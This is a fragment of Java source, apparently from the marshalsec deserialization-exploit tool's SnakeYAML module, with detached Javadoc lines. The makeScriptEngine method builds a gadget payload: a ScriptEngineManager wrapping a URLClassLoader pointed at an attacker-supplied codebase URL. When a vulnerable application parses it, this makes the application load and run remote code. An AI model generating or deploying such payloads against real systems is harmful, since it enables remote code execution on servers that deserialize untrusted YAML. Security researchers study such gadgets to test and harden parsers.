@Override
    @Args ( minArgs = 1, args = {
        "codebase"
    }, defaultArgs = {
        MarshallerBase.defaultCodebase
    } )
    public Object makeScriptEngine ( UtilFactory uf, String[] args ) throws Exception {
        return writeConstructor(
            ScriptEngineManager.class,
            true,
            writeConstructor(URLClassLoader.class, true, writeArray(writeConstructor(URL.class, true, writeString(args[ 0 ])))));
    }
{@inheritDoc}

@see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
src/main/java/marshalsec/SnakeYAML.java